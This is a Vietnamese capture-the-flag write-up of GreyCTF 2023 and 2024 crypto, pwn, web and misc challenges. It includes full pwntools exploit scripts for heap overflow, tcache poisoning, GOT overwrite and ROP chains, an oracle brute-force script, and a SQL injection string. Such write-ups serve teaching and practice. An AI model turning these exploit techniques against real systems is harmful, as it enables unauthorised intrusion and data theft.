(writeup) GREYCTF'23
CRYPTO
ENCRYPTSERVICE
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
- Chall đưa ta 1 source code như sau:
- Tức là khi ta nhập 1 đoạn plaintext, ta sẽ thu được 255 đoạn ciphertext mã hóa bằng mode CTR với random key và nonce là hash sha256 của các số từ 0 đến 255
- Ta thấy được điểm yếu của stream cipher chính là mã hóa các plaintext giống nhau thì sẽ cho ra các ciphertext giống nhau, tức là khi ta mã hóa
nhatzietdeptrai
và nhatzietcutequa
thì sẽ có 1 phần ciphertext giống nhau
- Đoạn code chứng minh như sau:
- Giờ ta sẽ brute-force từng ký tự của flag
- Thế nhưng, flag lấy iv là random từ 0 đến 255, vì thế, ta cần lấy hết các ciphertext từ 0-255 và so sánh với flag, nếu có 1 ciphertext giống thì có nghĩa là ký tự đó được chọn
- Đoạn code sẽ như sau:
from string import printable
from pwn import*
pr = ['1', '0', 'r', '3', '4', '5', '_', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', '2', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '6', '`', '{', '|', '}', '~', ' ', '\t', '\n', '\r', '\x0b', '\x0c']
def run(flag):
for char in pr:
lst = []
io = remote('34.124.157.94', 10590)
io.recvuntil(b': ')
data = flag
data = data + char
a = (data.encode("ascii").hex())
io.sendline((a).encode())
for j in range(256):
x = (io.recvuntil(b': ',drop=True).decode())
x = x[:len(data)*2]
lst.append(x)
io.recvuntil(b'Flag: ')
received = (io.recvuntil(b'\n',drop=True).decode())
for i in lst:
if i in received:
flag = flag + char
return flag
flag = 'grey{'
for i in range(39):
flag = (run(flag))
print(flag)
print(flag)
Flag: grey{0h_m4n_57r34m_c1ph3r_n07_50_53cur3}
ENCRYPTSERVICE_2
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
- Ta thấy rằng, khi
Flag ⊕ Key(iv) = Ciphertext
, và khi ta thử nhập các byte b'\x00', ta sẽ được Key(iv), và lấy Ciphertext ⊕ Key(iv), ta sẽ được flag của bài
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
- Bây giờ, ta thu được các Key(iv) chính là các ciphertext với iv trong khoảng [0,255], ta sẽ dùng format của flag để tìm được ciphertext tương ứng
- Ta tìm được 5 byte đầu của Key(iv) là
6dce30cdbd
–> Tìm được key(iv) tương ứng
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
- Flag sẽ là key(iv) ⊕ flag_encrypted
THE VAULT
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
- Đoạn code của chall như sau:
- Ta nhìn thấy rằng, có 1 điều kiện:
- Ta thấy rằng chế độ CTR có 1 tính chất như sau:
encrypt(key,encrypt(key,plaintext)) = plaintext
- Bạn có thể thử bằng đoạn code sau đây:
- Từ đó ta thấy để đạt được điều kiện trên, ta cần phải cho first_key và second_key bằng nhau, tức là phải chọn x sao cho
x = pow(x,10,n)
và để thỏa mãn điều kiện này, x = 1
- Tức là
pow(a,b,n) = 1
, ta sẽ dựa vào định lý Euler để chọn ra 2 số a và b
- Định lý cho ta thấy rằng
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
tức là ta sẽ chọn a là 1 số sao cho có ước chung với n là 1 và b chính là phi(n)
- Ta cần tính phi(n) bằng cách
- Tách n thành các số nguyên tố

- Sau đó, ta tính phi(n) theo cách này:
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
- Qua đó, ta sẽ chọn
a = 13
và b = phi(n) = 40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
- Nhập vào server và lấy flag thui :v
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
Flag:grey{th3_4n5w3R_T0_Th3_3x4M_4nD_3v3ry7H1N6_1s_42}
GreyCat Trial
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
- Source code của chall như sau:
- Ta thấy rằng, ở First Trial và Second Trial có 2 dòng
- Có nghĩa giờ ta sẽ phải tìm 2 số a và b sao cho
c = a + b*random_number(26)
- Giờ ta chọn a và b thui
- Nếu muốn nhanh thì vào http://primerecords.dk/aprecords.htm tìm và ta sẽ tìm được 2 số
a = 3486107472997423
và b = 371891575525470
không thì chọn các số cơ bản như a = 13 và b = 4
cũng được
Image Not Showing
Possible Reasons
- The image file may be corrupted
- The server hosting the image is unavailable
- The image path is incorrect
- The image format is not supported
Learn More →
Flag: grey{Gr33N-tA0_The0ReM_w1z4rd}
PWN
BABY PWN
- khá khó chịu ta
- phân tích xíu thì ta thấy để in flag vào thì ta cần thoát khỏi hàm while(), đồng nghĩa với việc accountBalance < 1000
- file cho sẵn accountBalance = 100, ta chỉ cần cộng vào 900 là được
- để ý ở option 2 thì ta có tùy ý thay đổi giá trị accountBalance nên ta chỉ cần nhập vào -900 là được

flag: grey{b4by_pwn_df831aa280e25ed6c3d70653b8f165b7}
EASY PWN

- bài này ret2win siêu cơ bản nên mình chỉ giải thích sơ là 8byte cho biến str, 8byte cho rbp rồi rip trỏ đến hàm win là lấy flag
- script:

Flag: grey{d1d_y0u_run_th3_3x3ut4b1e?_230943209rj03jrr23}
ARRAYSTORE

- chương trình sẽ có 2 chức năng, 'R' là Read(đọc), 'W' là Write(viết)
- được 100 vị trí nhớ (nếu mình 'W' gì đó vào 1 trong 100 chỗ nhớ)
- lỗi OOB ở đây (truy cập ngoài mảng)

- nảy sinh nghi ngờ: nếu 'R' vào 1 cái Index nhỏ hơn 0 thì sao?

- chương trình sẽ in ra 1 Value đáng khả nghi, ta sẽ leak thử coi nó là địa chỉ gì
- thì tại 'Index = -7' được so sánh DEBUG động là 1 cái stack, tại 'Index = -4' là 1 cái địa chỉ binary (leak đc cả địa chỉ ld nhưng bài này k cần đến nó nên thôi)
- hmm, k hàm get_shell, k hàm win –-> ret2libc
- ta cần leak địa chỉ libc base
- thì ta sẽ dựa vào cái lỗi OOB để leak tại vị trí có libc
- ta kiểm tra stack của ta:

stack nằm vùng cao hơn
- nhập vào Index cần số âm nên sẽ chọn Index của puts@GOT, và vì địa chỉ trừ địa chỉ nên ta cần chia cho '-8' (1 phần để cho Index là số âm, 1 phần là để thoả mãn Index là kiểu int)
- vậy ta đã leak dc libc
- bước cuối ta cần đưa '/bin/sh' và system() vào
- idea: sẽ chọn option 'W' để ghi Value system() vào 1 Index GOT của hàm nào đó, để khi chạy tới hàm đó sẽ thực thi PLT tại hàm đó và có shell
- thì ban đầu chọn tiếp GOT của puts nhưng ta cần chạy tới puts ở đây
- tức là Index của mình phải chọn số lớn hơn 99 mới có thể đi tiếp hàm puts@PLT (khá là khó)
- ta chuyển qua strtoll@GOT

- ghi strtoll@GOT xong ta 1 lần nữa chọn option 'R' để truyền Index là '/bin/sh', tới hàm strtoll là có shell ngay

Flag: grey{wh0_s41d_1i5_0n1y_100_3ntr1e5?_9384h948rhfp84e3w9rfh984}
MONKEYTYPE
- Ý tưởng
- wu tham khảo link ở đây
- Đầu tiên, chương trình sẽ cho ta flag khi
highscore > 0xffffffff
- Trong vòng lặp ta thấy chương trình đang xử lí các kí tự ta nhập vào, ở đây
- khi
ch_0 == 0x7F
chương trình sẽ giảm idx xuống mà không kiểm tra giá trị idx có lớn hơn 0 không, chức năng update_text sẽ ghi lên stack, vậy ta có lỗi Out-of-bound
- Khai thác
Flag: grey{I_am_M0JO_J0JO!}
READ ME A BOOK
- Ý tưởng
- Bài này lỗi chồng chéo stack
- Lỗi ở đây khi debug dừng chỗ
read(0, buf, 0xFFFuLL);
của option2 thì ta thấy giá trị trả về của read() là số byte read() đọc được vào rax() (giả sử trường hợp này mình nhập vào 0x538 byte "a" + 1 endline)

- và câu lệnh asm tiếp theo là
mov DWORD PTR [rbp-0x34], eax
đưa số byte này vào $rbp-0x34
mà ở option1 ta có int v1[11]; // [rsp+Ch] [rbp-34h] BYREF
cũng ở rbp-0x34
đó là lỗi chồng chéo stack.
- Khi trở về hàm scanf trong option 1 ta thấy rsi của
v1[0]
đã là 1337, bây giờ chúng ta chỉ cần nhập chữ thì hàm scanf() sẽ không đọc được và không thay đổi 1337.
- Khai thác:
- Đầu tiên ta chọn option 2 và gửi vào 0x539 byte, sau đó chọn option 1 và gửi vào chữ.
- script:

Flag: grey{librarian_f0rg0t_t0_1n1t_s7ack_9a3d5e8}
ROPV

đây là file built với kiến trúc riscv

- thông qua ghidra ta thấy có lỗi fmtstr (printf) và BOF (khai báo 8 nhưng read 0x400)
- bài này sẽ là ret2shellcode có leak
- ta cần tìm canary để bypass
- kiến trúc riscv nên gdb gặp khó khăn
- nhiều lần ngồi test địa chỉ thì thấy ở %9 xuất hiện địa chỉ khá giống canary

- vì PIE tĩnh nên khi leak bằng '%p' luôn xuất hiện địa chỉ này

0x40007ffe80
- và khi sử dụng lệnh 'tel' thử thì

nhân sinh nghi ngờ có thể $sp là $rip trong amd, vậy thì offset của nó là 0xa0 - 0x80 = 32
- tính toán payload:
- nếu là 32 thì có 8 byte là save rbp, canary, rip và padding
- từ đó suy ra số byte padding là 8
- mà shellcode không thể dài 8 byte đc
- shellcode sẽ đặt sau địa chỉ leak ra được (0x80) cộng thêm 32 thành địa chỉ có byte cuối là 0xa0 để ret về địa chỉ 0xa0 ấy rồi thực thi shellcode
- shellcode lụm : link
- setup debug:
- terminal 1
$ qemu-riscv64 -g <port> <binary>
với <port> là số mình tuỳ chọn –-> mở máy chủ host
- terminal 2
$ sudo gdb-multiarch <binary>
gef➤ target remote :<port>
ta sẽ debug động với nc là localhost:<port> (localhost ở đây cho 0 vẫn được)

grey{riscv_risc5_ropv_rop5_b349340j935gj09}
WRITE ME A BOOK



- kiểm tra có cả seccomp nên dùng seccomp-tools kiểm tra nốt file binary

- trong ida, mình sẽ nhập 12 byte vào địa chỉ (&author_signature + 3)
- +3 là do có sẵn signature 2128226 = 0x207962 (3byte)
- sau đó vào vào secure_library

tạo 1 đống chunk do malloc
- rồi sẽ vào hàm write_books (khai thác chính ở đây)
- trong hàm này sẽ lặp vô hạn từ hàm while(1)
- chương trình sẽ in ra các option
- ta sẽ chọn option '1337' để leak được dữ liệu nào đó


throw_book
chủ yếu là free

write_book
Index tối đa 10 (v4 <= 0 || v4 > 10) –-> 10 index để malloc(size)
size từ 0x20 đến 0x20 + 16 (0x10) + 0x10 (làm tròn) = 0x40

rewrite_book
- Hướng khai thác ở đây sẽ là tạo 3 chunk 1,2,3. Trong đó size chunk 2 < chunk 1,3 để overflow. Do option rewrite_book thêm 16 byte signature cộng thêm 32 byte nhập nên bị overflow
- Ta có nhận xét là đầu code có cho ta nhập signature vào. Ở đây ta thấy được rằng khi overflow chunk 1 -> chunk 2 để khi free nhận lại đúng chunk 2 ta cần chọn size để overflow hợp lý. Ở đây thử một lúc sẽ được là 0x41

chunk 1,2,3 khi overflow chunk2
- Sau đó ta sẽ lợi dụng chunk 2 để UAF chunk 3 lấy dùng để lấy địa chỉ libc và stack, nhưng trước đó phải tạo thêm chunk 4 và set
secret_msg = 0
cũng như book[1].size = 0x1000
.
- Sau khi rewrite bằng fake chunk ta được như sau


- Quá trình tiếp theo là leak libc và stack. Ta sẽ overwrite
free(ptr)
thành puts(ptr)
do ta đã kiểm soát đc ptr
nên leak thoải mái.
- Để leak stack thì ta làm tương tự nhưng lần này overwrite
free(ptr)
thành printf(ptr)
để tạo lỗi format string.
- Cuối cùng là ROPchain. Do đề ban một số syscall nên
one_gadget
bất khả thi nên cần viết thủ công.
from pwn import *
context.binary = exe = ELF("./chall_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
p = process(exe.path)
sla = lambda x, y: p.sendlineafter(x, y)
sa = lambda x, y: p.sendafter(x, y)
def write(idx: int, payload: bytes) -> None:
sla(b"Option:", b"1")
sla(b"Index:", str(idx).encode("ascii"))
sa(b"Write me a book no more than 32 characters long!", payload)
def rewrite(idx: int, payload: bytes) -> None:
sla(b"Option:", b"2")
sla(b"Index:", str(idx).encode("ascii"))
sa(b"Write me the new contents of your book that is no longer than what it was before.", payload)
def delete(idx: int) -> None:
sla(b"Option:", b"3")
sla(b"Index:", str(idx).encode("ascii"))
def leak(idx: int) -> int:
sla(b"Option:", b"1337")
sla(b"What is your favourite number?", str(idx).encode("ascii"))
p.recvuntil(b"You found a secret message: ")
leak = int(p.recvuntil(b"\n").replace(b"\n", b"").decode("ascii"), 16)
return leak
def leave() -> None:
sla(b"Option:", b"4")
signature = b"a"*5 + b"\x41"
sla(b"> ", signature)
write(1, b"A"*0x20)
write(2, b"B"*0x1)
write(3, b"C"*0x20)
heap_addr = leak(3)
write(4, b"D"*0x20)
rewrite(1, b"A"*0x30)
delete(4)
delete(3)
delete(2)
write(2, b"E"*0x20)
fake_chunk = p64(0) + p64(0x41)
secret_msg = 0x004040c0
fake_chunk += p64(secret_msg ^ (heap_addr >> 12)) + p64(0x0)
rewrite(2, b"E"*0x10 + fake_chunk)
write(3, b"F"*0x20)
write(4, b"G"*0x20)
fake_book = p64(0x1000) + p64(secret_msg)
payload = (p64(0) * 2 +
b"by " + signature + 7 * b"\x00" +
fake_book)
rewrite(4, payload)
fake_book2 = p64(0x8) + p64(exe.got["free"])
bss_payload = payload + fake_book2
rewrite(1, bss_payload)
rewrite(2, p64(exe.plt["puts"]))
fake_book2 = p64(0x8) + p64(exe.got["getchar"])
bss_payload = payload + fake_book2
rewrite(1, bss_payload)
delete(2)
leak = u64(p.recvuntil(b"Your book has been thrown")[1:7].ljust(8, b"\0"))
log.info(hex(leak))
libc = exe.libc
libc.address = leak - 0x7f2fe7c87b60 + 0x007f2fe7c00000
fake_book2 = p64(0x8) + p64(exe.got["free"])
bss_payload = payload + fake_book2 + b"hello.%p\0"
rewrite(1, bss_payload)
rewrite(2, p64(exe.plt["printf"]))
book_start = 0x004040e0
fake_book2 = p64(0x8) + p64(book_start + 2 * 0x10)
bss_payload = payload + fake_book2 + b"hello.%8$p.\0"
rewrite(1, bss_payload)
delete(2)
p.recvuntil(b"hello.")
leak = int(p.recvuntil(b".").replace(b".", b"").decode("ascii"), 16)
saved_rip = leak - 0x007ffd2515a330 + 0x007ffd2515a338
fake_book2 = p64(0x200) + p64(saved_rip)
bss_payload = payload + fake_book2 + b"/flag\0"
rewrite(1, bss_payload)
POP_RDI = p64(libc.address + 0x001bc021)
POP_RSI = p64(libc.address + 0x001bb317)
POP_RDX_RBX = p64(libc.address + 0x00175548)
POP_RAX = p64(libc.address + 0x001284f0)
SYSCALL = p64(libc.address + 0x00140ffb)
flag_where = book_start + 0x10 * 10
rop_payload = POP_RAX + p64(2) + POP_RDI + p64(book_start + 0x10 * 2) + SYSCALL
rop_payload += POP_RAX + p64(0) + POP_RDI + p64(3) + POP_RSI + p64(flag_where) + POP_RDX_RBX + p64(0x50) + p64(0x0) + SYSCALL
rop_payload += POP_RAX + p64(1) + POP_RDI + p64(1) + SYSCALL
rewrite(2, rop_payload)
leave()
p.interactive()

- Ở đây mình sài flag cũ chưa xoá bên dreamhack
grey{gr00m1ng_4nd_sc4nn1ng_th3_b00ks!!}
WEB
LOGIN BOT
- Cách Làm : Đọc Source Phát Hiện Điểm Yếu:

- Đoạn Code trên Cho ta 3 tham số ở /send_post nhưng trên web thì chỉ có form của title và content.Và khi ta nhập link nào đó vô phần content thì sẽ tạo cho ta 1 id mới và đường dẫn truy cập là /url/id.
- Đọc Thêm đoạn code ta thấy như sau :

Flag: grey{r3d1recTs_r3Dir3ct_4nd_4ll_0f_th3_r3d1r3ct}
BABY WEB
- Đọc Source và hiểu sẽ thấy điểm yếu sau :

- Đơn giản là sẽ visit 1 web nào đó và set cookie có cờ.
- Sau khi lên web chall thì có 1 form report,test thử với câu lệnh
<script>alert(1)</script>
thì được -> XSS
- Lên mạng Tìm Payload là xong :
- PAYLOAD:

- Qua Trang link Webhook lấy flag nữa là xong:

Flag: grey{b4by_x55_347cbd01cbc74d13054b20f55ea6a42c}
100 QUESTIONS
- Cách Làm: Đọc Source dễ nhận thấy điểm yếu SQL injection:
- Sau 1 hồi đưa các giá trị id khác nhau tới 100 thì có vẻ câu trả lời ở câu hỏi thứ 100 này chính là flag như cái tên vậy.
- Test bằng các câu lệnh khai thác SQL injection cơ bản như "'OR'1'='1" thì chắc kèo luôn rồi.
- Từ trên ta có đoạn code sau :
Flag: grey{1_c4N7_533}
MISC
CrashPython
Bài này đề cho ta một trang web để chạy 1 đoạn code python
Ngoài ra web ban các từ sau:
Đề nói rằng sẽ cho flag nếu ta tạo ra được exit code 139
tức SIGSEGV
. Ta thấy rằng nếu code "thuần" bằng python sẽ khó để tạo exit code này vì các hàm trong python đã được implement rất kỹ để tránh các lỗi có thể xảy ra. Vì thế ở đây phải sài thư viện ngoài, trong trường hợp này là ctypes, một thư viện cho phép sử dụng các hàm của C trong python.
Ở đây mình code script đọc ở một địa chỉ không hợp lệ để lấy SIGSEGV
Chạy và có flag.
GOTCHA
https://ctftime.org/task/17320
(writeup) GREYCTF'24
PWN
Baby fmtstr
- solution: change format to overflow
command
variable
- script:
grey{17'5_b0f_71m3}
The Motorola 1
- solution: ret2win
- script:
grey{g00d_w4rmup_for_p4rt_2_hehe}
The Motorola 2
- same source Motorola 1
- solution: no ASLR in wasm –-> dump –-> overflow
- script:
grey{s1mpl3_buff3r_0v3rfl0w_w4snt_1t?_r3m3mb3r_t0_r34d_th3_st0ryl1ne:)}
Baby Goods
- solution: ret2win
- script:
grey{4s_34sy_4s_t4k1ng_c4ndy_fr4m_4_b4by}
Slingring Factory
- solution:
- fmtstr leak canary
- fill tcache, next free ubin –-> leak libc
- ret2libc
- script:
grey{y0u_4r3_50rc3r3r_supr3m3_m45t3r_0f_th3_myst1c_4rts_mBRt!y4vz5ea@uq}
heapheapheap
- BUG: interger overflow
- struct:
- leak exe -> ow exit@got = backdoor -> trigger exit
- script:
from pwn import *
context.binary = exe = ELF("./heapheapheap",checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+158
b*read_note+53
b*main+366
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('challs.nusgreyhats.org',33456)
else:
p = process(exe.path)
def add(length, s, value):
sla(b"choice: ", b"1")
sla(b"str: ", str(length))
sla(b"string: ", s)
sla(b"value: ", str(value))
def delete():
sla(b"choice: ", b"3")
def edit(length, s, value):
sla(b"choice: ", b"2")
sla(b"str: ", str(length))
sla(b"string: ", s)
sla(b"value: ", str(value))
'''
heap_heap.top node.parent
node.left node.right
*node.value value
null null
null *node.data
size null
null null
*node.data data
'''
'''
heap_heap.top node.parent
node.left node.right
*node.value value
null null
prev.node.value *node.data
size null
null null
*node.data data
'''
'''
heap_heap.top node.parent
node.left node.right
*node.value value
null null
next.node.value *node.data
size null
null null
*node.data data
'''
'''
heap_heap.top node.parent
node.left node.right
*node.value value
null null
next.node.value *node.data
size null
null null
*node.data data
'''
add(0x10, b'a', 7)
add(0x10, b'b', 6)
add(0x10, b'c', 5)
add(0xffffffffffffffe0, b"", 10)
add(0x10, b"", 1)
delete()
p.recvuntil(b"The largest element is '")
exe_leak = u64(p.recv(6)+b'\0\0')
exe.address = exe_leak - 0x4318
info("exe leak: " + hex(exe_leak))
info("exe base: " + hex(exe.address))
edit(exe.address + 0x42e8, b"", 4)
edit(0xffffffffffffffe0- exe.address - 0x42e8 - 0x28, b"", 4)
add(0xffffffffffffffff, b"", 11)
delete()
add(0xfffffffffffffc68, b"", 4)
pld = flat({
0: 13,
8: exe.got.exit,
0x30: exe.address + 0x50d0,
})
pld = flat({
0: exe.address + 0x4210,
8: 1,
0x18: exe.got.exit,
0x20: 0xffffffffffffffff,
})
edit(0x100, pld, 12)
edit(exe.sym.backdoor, pld, 1)
sl(b'4')
p.interactive()
grey{h34p5_0f_h34p_f0r_m4x1mum_c0nfu510n}